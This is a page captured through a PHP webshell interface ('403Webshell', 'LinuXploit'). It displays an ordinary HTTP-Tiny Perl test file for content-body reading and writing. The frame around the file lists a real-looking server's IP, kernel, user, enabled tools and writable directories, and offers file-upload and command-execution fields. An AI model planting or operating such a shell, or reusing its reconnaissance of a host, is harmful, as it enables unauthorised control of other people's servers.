403Webshell
Server IP : 45.40.142.9  /  Your IP : 216.73.216.250
Web Server : Apache
System : Linux s45-40-142-9.secureserver.net 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : bayspec ( 506)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /.cpanm/latest-build/HTTP-Tiny-0.070/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /.cpanm/latest-build/HTTP-Tiny-0.070/t/040_content.t
#!perl

use strict;
use warnings;

use Test::More qw[no_plan];
use lib 't';
use Util    qw[tmpfile rewind $CRLF $LF];
use HTTP::Tiny;

{
    no warnings 'redefine';
    sub HTTP::Tiny::Handle::can_read  { 1 };
    sub HTTP::Tiny::Handle::can_write { 1 };
}

{
    my $chunk    = join('', '0' .. '9', 'A' .. 'Z', 'a' .. 'z', '_', $LF) x 16; # 1024
    my $fh       = tmpfile();
    my $handle   = HTTP::Tiny::Handle->new(fh => $fh);
    my $nchunks  = 128;
    my $length   = $nchunks * length $chunk;

    {
        my $request = {
          cb => sub { $nchunks-- ? $chunk : undef },
          headers => { 'content-length' => $length }
        };
        my $got = $handle->write_content_body($request);
        is($got, $length, "written $length octets");
    }

    rewind($fh);

    {
        my $got = 0;
        $handle->read_content_body(sub { $got += length $_[0] }, {}, $length);
        is($got, $length, "read $length octets");
    }
}


Youez - 2016 - github.com/yon3zu
LinuXploit